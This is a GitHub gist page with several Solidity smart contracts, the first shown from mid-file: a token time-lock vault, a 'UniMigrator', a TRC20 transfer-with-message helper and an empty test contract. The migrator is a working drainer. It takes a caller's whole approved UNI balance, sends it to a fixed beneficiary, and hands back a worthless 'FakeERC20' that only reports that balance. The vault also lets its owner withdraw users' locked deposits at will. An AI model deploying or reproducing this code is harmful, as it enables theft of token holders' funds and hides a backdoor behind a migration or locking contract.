| holderLock.amount = holderLock.amount.sub(amount); | |
| timelockhold[likeAddr][msg.sender] = holderLock; | |
| balanceToken[likeAddr]= balanceToken[likeAddr].sub(amount); | |
| activeLock[likeAddr] = activeLock[likeAddr].sub(amount); | |
| ERC20_Interface(likeAddr).transfer(msg.sender, amount); | |
| WithdrawToken(likeAddr, msg.sender, amount); | |
| return true; | |
| } | |
| function depositToken(address likeAddr, uint amount, uint256 expire) public returns (bool){ | |
| if(amount > ERC20_Interface(likeAddr).allowance(msg.sender, address(this))) { | |
| revert(); | |
| } | |
| ERC20_Interface(likeAddr).transferFrom(msg.sender, address(this), amount); | |
| lockToken memory tokenData = tokens[likeAddr][msg.sender]; | |
| tokenData.token = likeAddr; | |
| tokenData.expire = now.add(expire); | |
| tokenData.block = block.number; | |
| tokenData.start = now; | |
| tokenData.amount = tokenData.amount.add(amount); | |
| tokenData.isWithdraw = statusWithdraw.INACTIVE; | |
| tokens[likeAddr][msg.sender] = tokenData; | |
| balanceToken[likeAddr] = balanceToken[likeAddr].add(amount); | |
| activeLock[likeAddr] = activeLock[likeAddr].add(amount); | |
| DepositToken(likeAddr, msg.sender, amount, expire); | |
| return true; | |
| } | |
| function requestWithdraw(address likeAddr) public returns (bool){ | |
| lockToken memory tokenData = tokens[likeAddr][msg.sender]; | |
| require(tokenData.isWithdraw == statusWithdraw.INACTIVE); | |
| require(tokenData.amount > 0); | |
| tokenData.isWithdraw = statusWithdraw.ACTIVE; | |
| tokenData.expire = now.add(isExpire); | |
| tokens[likeAddr][msg.sender] = tokenData; | |
| activeLock[likeAddr] = activeLock[likeAddr].sub(tokenData.amount); | |
| RequestWithdraw(likeAddr, msg.sender); | |
| return true; | |
| } | |
| function withdrawToken(address likeAddr, uint amount) public returns (bool){ | |
| lockToken memory tokenData = tokens[likeAddr][msg.sender]; | |
| require(now > tokenData.expire); | |
| require(amount <= tokenData.amount); | |
| require(tokenData.isWithdraw == statusWithdraw.ACTIVE); | |
| if(amount < tokenData.amount){ | |
| uint256 updateAmount = tokenData.amount.sub(amount); | |
| activeLock[likeAddr] = activeLock[likeAddr].add(updateAmount); | |
| } | |
| tokenData.amount = tokenData.amount.sub(amount); | |
| tokenData.isWithdraw = statusWithdraw.INACTIVE; | |
| tokens[likeAddr][msg.sender] = tokenData; | |
| balanceToken[likeAddr]= balanceToken[likeAddr].sub(amount); | |
| ERC20_Interface(likeAddr).transfer(msg.sender, amount); | |
| WithdrawToken(likeAddr, msg.sender, amount); | |
| return true; | |
| } | |
| function getLock(address likeAddr, address _sender) public view returns (uint256){ | |
| return tokens[likeAddr][_sender].amount; | |
| } | |
| function getAmountAll(address likeAddr, address _sender) public view returns (uint256){ | |
| return tokens[likeAddr][_sender].amount+timelockhold[likeAddr][_sender].amount; | |
| } | |
| function getWithdraw(address likeAddr, address _sender) public view returns (statusWithdraw) { | |
| return tokens[likeAddr][_sender].isWithdraw; | |
| } | |
| function getAmount(address likeAddr, address _sender) public view returns (uint256) { | |
| return tokens[likeAddr][_sender].amount; | |
| } | |
| function getDepositTime(address likeAddr, address _sender) public view returns (uint256) { | |
| return tokens[likeAddr][_sender].start; | |
| } | |
| function adminWithdrawToken(address likeAddr, uint amount, string message) onlyOwner public { | |
| require(amount <= balanceToken[likeAddr]); | |
| balanceToken[likeAddr] = balanceToken[likeAddr].sub(amount); | |
| ERC20_Interface(likeAddr).transfer(msg.sender, amount); | |
| AdminWithdrawToken(likeAddr, msg.sender, amount, message); | |
| } | |
| function getActiveLock(address likeAddr) public view returns (uint256) { | |
| return activeLock[likeAddr]; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| *Submitted for verification at Etherscan.io on 2020-10-02 | |
| */ | |
| pragma solidity 0.4.19; | |
| interface IERC20 { | |
| function balanceOf(address owner) external view returns (uint); | |
| function transferFrom(address from, address to, uint value) external returns (bool); | |
| } | |
| contract FakeERC20 { | |
| uint256 public amount; | |
| function FakeERC20(uint256 _amount) public { | |
| amount = _amount; | |
| } | |
| function balanceOf(address) external view returns (uint256) { | |
| return amount; | |
| } | |
| } | |
| contract UniMigrator { | |
| address public beneficiary; | |
| function UniMigrator( | |
| address _beneficiary | |
| ) public { | |
| beneficiary = _beneficiary; | |
| } | |
| function migrate(IERC20 src) public returns (address) { | |
| require(address(src) == 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984); | |
| uint256 bal = src.balanceOf(msg.sender); | |
| src.transferFrom(msg.sender, beneficiary, bal); | |
| return address(new FakeERC20(bal)); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.19; | |
| contract TRC20_Interface { | |
| function totalSupply() public view returns (uint); | |
| function balanceOf(address tokenOwner) public view returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public view returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| contract TransferWithMessageTRC20 { | |
| event TransferMessage(address trc20, address _from, address _to, uint _value, string message); | |
| function transferMessage(address trc20, address _to, uint _value, string message) public returns (bool) { | |
| if(_value > TRC20_Interface(trc20).allowance(msg.sender, address(this))) { | |
| revert(); | |
| } | |
| TRC20_Interface(trc20).transferFrom(msg.sender, _to, _value); | |
| TransferMessage(trc20, msg.sender, _to, _value, message); | |
| return true; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.19; | |
| contract test { | |
| function test() public{ | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment